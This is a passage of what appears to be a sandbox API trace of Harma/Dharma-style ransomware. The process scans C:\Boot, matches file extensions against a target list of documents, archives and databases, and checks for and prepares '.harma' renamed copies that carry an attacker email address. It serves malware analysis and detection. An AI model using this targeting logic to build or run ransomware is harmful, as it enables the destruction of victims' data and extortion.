(HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x3514e8 [0132.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6) returned 0x3bef68 [0132.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351500 [0132.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x100000) returned 0x3d20020 [0132.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351518 [0132.297] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351518, Size=0x20) returned 0x3c0d38 [0132.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351518 [0132.297] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351518, Size=0x20) returned 0x3c0d10 [0132.297] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0132.297] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0132.297] Wow64DisableWow64FsRedirection (in: OldValue=0x313ff58 | out: OldValue=0x313ff58*=0x0) returned 1 [0132.297] lstrlenW (lpString="kernel32.dll") returned 12 [0132.297] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0d38 | out: hHeap=0x300000) returned 1 [0132.298] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0132.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0d10 | out: hHeap=0x300000) returned 1 [0132.298] Sleep (dwMilliseconds=0x64) [0132.595] lstrlenW (lpString="BCD") returned 3 [0132.595] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.595] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0132.595] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0132.595] lstrlenW (lpString=".doc") returned 4 [0132.595] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0132.595] lstrlenW (lpString=".docx") returned 5 [0132.595] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0132.595] lstrlenW (lpString=".pdf") returned 4 [0132.595] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0132.595] lstrlenW (lpString=".xls") returned 4 [0132.595] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0132.596] lstrlenW (lpString=".xlsx") returned 5 [0132.596] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0132.596] lstrlenW (lpString=".ppt") returned 4 [0132.596] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0132.596] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0132.596] lstrlenW (lpString=".zip") returned 4 [0132.596] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0132.596] lstrlenW (lpString=".rar") returned 4 [0132.596] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0132.596] lstrlenW (lpString=".bz2") returned 4 [0132.596] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0132.596] lstrlenW (lpString=".7z") returned 3 [0132.596] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0132.596] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0132.596] lstrlenW (lpString=".dbf") returned 4 [0132.596] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0132.596] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0132.596] lstrlenW (lpString=".1cd") returned 4 [0132.596] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0132.596] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0132.596] lstrlenW (lpString=".jpg") returned 4 [0132.596] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0132.596] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0132.596] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0132.596] lstrlenW (lpString=".doc") returned 4 [0132.596] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0132.596] lstrlenW (lpString=".docx") returned 5 [0132.596] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0132.597] lstrlenW (lpString=".pdf") returned 4 [0132.597] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0132.597] lstrlenW (lpString=".xls") returned 4 [0132.597] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0132.597] lstrlenW (lpString=".xlsx") returned 5 [0132.597] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0132.597] lstrlenW (lpString=".ppt") returned 4 [0132.597] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0132.597] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0132.597] lstrlenW (lpString=".zip") returned 4 [0132.597] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0132.597] lstrlenW (lpString=".rar") returned 4 [0132.597] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0132.597] lstrlenW (lpString=".bz2") returned 4 [0132.597] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0132.597] lstrlenW (lpString=".7z") returned 3 [0132.597] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0132.597] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0132.597] lstrlenW (lpString=".dbf") returned 4 [0132.597] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0132.597] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0132.597] lstrlenW (lpString=".1cd") returned 4 [0132.597] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0132.597] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0132.597] lstrlenW (lpString=".jpg") returned 4 [0132.597] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0132.597] lstrcmpiW (lpString1=".LOG1", lpString2=".harma") returned 1 [0132.597] lstrlenW (lpString="BCD.LOG1") returned 8 [0132.597] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0132.598] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=0) returned 1 [0132.598] CloseHandle (hObject=0x228) returned 1 [0132.598] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0132.598] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0132.598] lstrlenW (lpString=".doc") returned 4 [0132.598] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0132.598] lstrlenW (lpString=".docx") returned 5 [0132.598] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0132.598] lstrlenW (lpString=".pdf") returned 4 [0132.598] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0132.598] lstrlenW (lpString=".xls") returned 4 [0132.598] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0132.598] lstrlenW (lpString=".xlsx") returned 5 [0132.598] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0132.598] lstrlenW (lpString=".ppt") returned 4 [0132.598] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0132.598] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0132.598] lstrlenW (lpString=".zip") returned 4 [0132.598] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0132.599] lstrlenW (lpString=".rar") returned 4 [0132.599] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0132.599] lstrlenW (lpString=".bz2") returned 4 [0132.599] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0132.599] lstrlenW (lpString=".7z") returned 3 [0132.599] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0132.599] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0132.599] lstrlenW (lpString=".dbf") returned 4 [0132.599] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0132.599] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0132.599] lstrlenW (lpString=".1cd") returned 4 [0132.599] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0132.599] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0132.599] lstrlenW (lpString=".jpg") returned 4 [0132.599] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0132.599] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0132.599] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0132.599] lstrlenW (lpString=".doc") returned 4 [0132.599] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0132.599] lstrlenW (lpString=".docx") returned 5 [0132.599] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0132.599] lstrlenW (lpString=".pdf") returned 4 [0132.599] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0132.599] lstrlenW (lpString=".xls") returned 4 [0132.599] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0132.599] lstrlenW (lpString=".xlsx") returned 5 [0132.599] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0132.599] lstrlenW (lpString=".ppt") returned 4 [0132.599] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0132.599] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0132.599] lstrlenW (lpString=".zip") returned 4 [0132.599] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0132.600] lstrlenW (lpString=".rar") returned 4 [0132.600] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0132.600] lstrlenW (lpString=".bz2") returned 4 [0132.600] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0132.600] lstrlenW (lpString=".7z") returned 3 [0132.600] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0132.600] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0132.600] lstrlenW (lpString=".dbf") returned 4 [0132.600] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0132.600] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0132.600] lstrlenW (lpString=".1cd") returned 4 [0132.600] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0132.600] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0132.600] lstrlenW (lpString=".jpg") returned 4 [0132.600] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0132.600] lstrcmpiW (lpString1=".LOG2", lpString2=".harma") returned 1 [0132.600] lstrlenW (lpString="BCD.LOG2") returned 8 [0132.600] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0132.600] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=0) returned 1 [0132.600] CloseHandle (hObject=0x228) returned 1 [0132.601] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0132.601] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0132.601] lstrlenW (lpString=".doc") returned 4 [0132.601] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0132.601] lstrlenW (lpString=".docx") returned 5 [0132.601] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0132.601] lstrlenW (lpString=".pdf") returned 4 [0132.601] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0132.601] lstrlenW (lpString=".xls") returned 4 [0132.601] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0132.601] lstrlenW (lpString=".xlsx") returned 5 [0132.601] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0132.601] lstrlenW (lpString=".ppt") returned 4 [0132.601] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0132.601] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0132.601] lstrlenW (lpString=".zip") returned 4 [0132.601] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0132.601] lstrlenW (lpString=".rar") returned 4 [0132.601] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0132.601] lstrlenW (lpString=".bz2") returned 4 [0132.601] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0132.601] lstrlenW (lpString=".7z") returned 3 [0132.601] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0132.601] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0132.601] lstrlenW (lpString=".dbf") returned 4 [0132.601] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0132.601] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0132.601] lstrlenW (lpString=".1cd") returned 4 [0132.601] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0132.601] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0132.601] lstrlenW (lpString=".jpg") returned 4 [0132.602] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0132.602] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0132.602] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0132.602] lstrlenW (lpString=".doc") returned 4 [0132.602] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0132.602] lstrlenW (lpString=".docx") returned 5 [0132.602] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0132.602] lstrlenW (lpString=".pdf") returned 4 [0132.602] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0132.602] lstrlenW (lpString=".xls") returned 4 [0132.602] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0132.602] lstrlenW (lpString=".xlsx") returned 5 [0132.602] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0132.602] lstrlenW (lpString=".ppt") returned 4 [0132.602] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0132.602] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0132.602] lstrlenW (lpString=".zip") returned 4 [0132.602] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0132.602] lstrlenW (lpString=".rar") returned 4 [0132.602] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0132.602] lstrlenW (lpString=".bz2") returned 4 [0132.602] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0132.602] lstrlenW (lpString=".7z") returned 3 [0132.602] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0132.602] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0132.602] lstrlenW (lpString=".dbf") returned 4 [0132.602] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0132.602] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0132.602] lstrlenW (lpString=".1cd") returned 4 [0132.602] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0132.602] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0132.603] lstrlenW (lpString=".jpg") returned 4 [0132.603] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0132.603] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0132.603] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0132.603] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0132.603] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=89168) returned 1 [0132.603] CloseHandle (hObject=0x228) returned 1 [0132.603] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0132.603] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0132.603] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.603] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0132.604] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0132.604] lstrlenW (lpString=".doc") returned 4 [0132.604] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0132.604] lstrlenW (lpString=".docx") returned 5 [0132.604] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0132.604] lstrlenW (lpString=".pdf") returned 4 [0132.604] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0132.604] lstrlenW (lpString=".xls") returned 4 [0132.604] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0132.604] lstrlenW (lpString=".xlsx") returned 5 [0132.604] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0132.604] lstrlenW (lpString=".ppt") returned 4 [0132.604] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0132.604] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0132.604] lstrlenW (lpString=".zip") returned 4 [0132.604] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0132.604] lstrlenW (lpString=".rar") returned 4 [0132.604] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0132.604] lstrlenW (lpString=".bz2") returned 4 [0132.604] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0132.604] lstrlenW (lpString=".7z") returned 3 [0132.604] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0132.604] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0132.604] lstrlenW (lpString=".dbf") returned 4 [0132.604] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0132.604] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0132.604] lstrlenW (lpString=".1cd") returned 4 [0132.604] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0132.604] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0132.604] lstrlenW (lpString=".jpg") returned 4 [0132.604] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0132.605] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0132.605] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0132.605] lstrlenW (lpString=".doc") returned 4 [0132.605] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0132.605] lstrlenW (lpString=".docx") returned 5 [0132.605] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0132.605] lstrlenW (lpString=".pdf") returned 4 [0132.605] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0132.605] lstrlenW (lpString=".xls") returned 4 [0132.605] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0132.605] lstrlenW (lpString=".xlsx") returned 5 [0132.605] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0132.605] lstrlenW (lpString=".ppt") returned 4 [0132.605] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0132.605] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0132.605] lstrlenW (lpString=".zip") returned 4 [0132.605] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0132.605] lstrlenW (lpString=".rar") returned 4 [0132.605] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0132.605] lstrlenW (lpString=".bz2") returned 4 [0132.605] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0132.605] lstrlenW (lpString=".7z") returned 3 [0132.605] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0132.605] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0132.605] lstrlenW (lpString=".dbf") returned 4 [0132.605] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0132.605] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0132.605] lstrlenW (lpString=".1cd") returned 4 [0132.605] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0132.605] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0132.605] lstrlenW (lpString=".jpg") returned 4 [0132.605] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0132.606] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0132.606] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0132.606] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0132.606] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=87616) returned 1 [0132.606] CloseHandle (hObject=0x228) returned 1 [0132.606] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0132.606] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0132.606] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.606] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0132.606] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0132.606] lstrlenW (lpString=".doc") returned 4 [0132.607] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0132.607] lstrlenW (lpString=".docx") returned 5 [0132.607] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0132.607] lstrlenW (lpString=".pdf") returned 4 [0132.607] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0132.607] lstrlenW (lpString=".xls") returned 4 [0132.607] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0132.607] lstrlenW (lpString=".xlsx") returned 5 [0132.607] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0132.607] lstrlenW (lpString=".ppt") returned 4 [0132.607] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0132.607] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0132.607] lstrlenW (lpString=".zip") returned 4 [0132.607] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0132.607] lstrlenW (lpString=".rar") returned 4 [0132.607] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0132.607] lstrlenW (lpString=".bz2") returned 4 [0132.607] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0132.607] lstrlenW (lpString=".7z") returned 3 [0132.607] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0132.607] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0132.607] lstrlenW (lpString=".dbf") returned 4 [0132.607] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0132.607] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0132.607] lstrlenW (lpString=".1cd") returned 4 [0132.607] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0132.607] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0132.607] lstrlenW (lpString=".jpg") returned 4 [0132.607] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0132.607] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0132.608] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0132.608] lstrlenW (lpString=".doc") returned 4 [0132.608] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0132.608] lstrlenW (lpString=".docx") returned 5 [0132.608] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0132.608] lstrlenW (lpString=".pdf") returned 4 [0132.608] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0132.608] lstrlenW (lpString=".xls") returned 4 [0132.608] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0132.608] lstrlenW (lpString=".xlsx") returned 5 [0132.608] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0132.608] lstrlenW (lpString=".ppt") returned 4 [0132.608] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0132.608] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0132.608] lstrlenW (lpString=".zip") returned 4 [0132.608] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0132.608] lstrlenW (lpString=".rar") returned 4 [0132.608] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0132.608] lstrlenW (lpString=".bz2") returned 4 [0132.608] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0132.608] lstrlenW (lpString=".7z") returned 3 [0132.608] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0132.608] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0132.608] lstrlenW (lpString=".dbf") returned 4 [0132.608] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0132.608] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0132.608] lstrlenW (lpString=".1cd") returned 4 [0132.608] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0132.608] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0132.608] lstrlenW (lpString=".jpg") returned 4 [0132.608] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0132.609] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0132.609] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0132.609] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0132.609] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=91712) returned 1 [0132.609] CloseHandle (hObject=0x228) returned 1 [0132.609] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0132.609] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0132.609] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 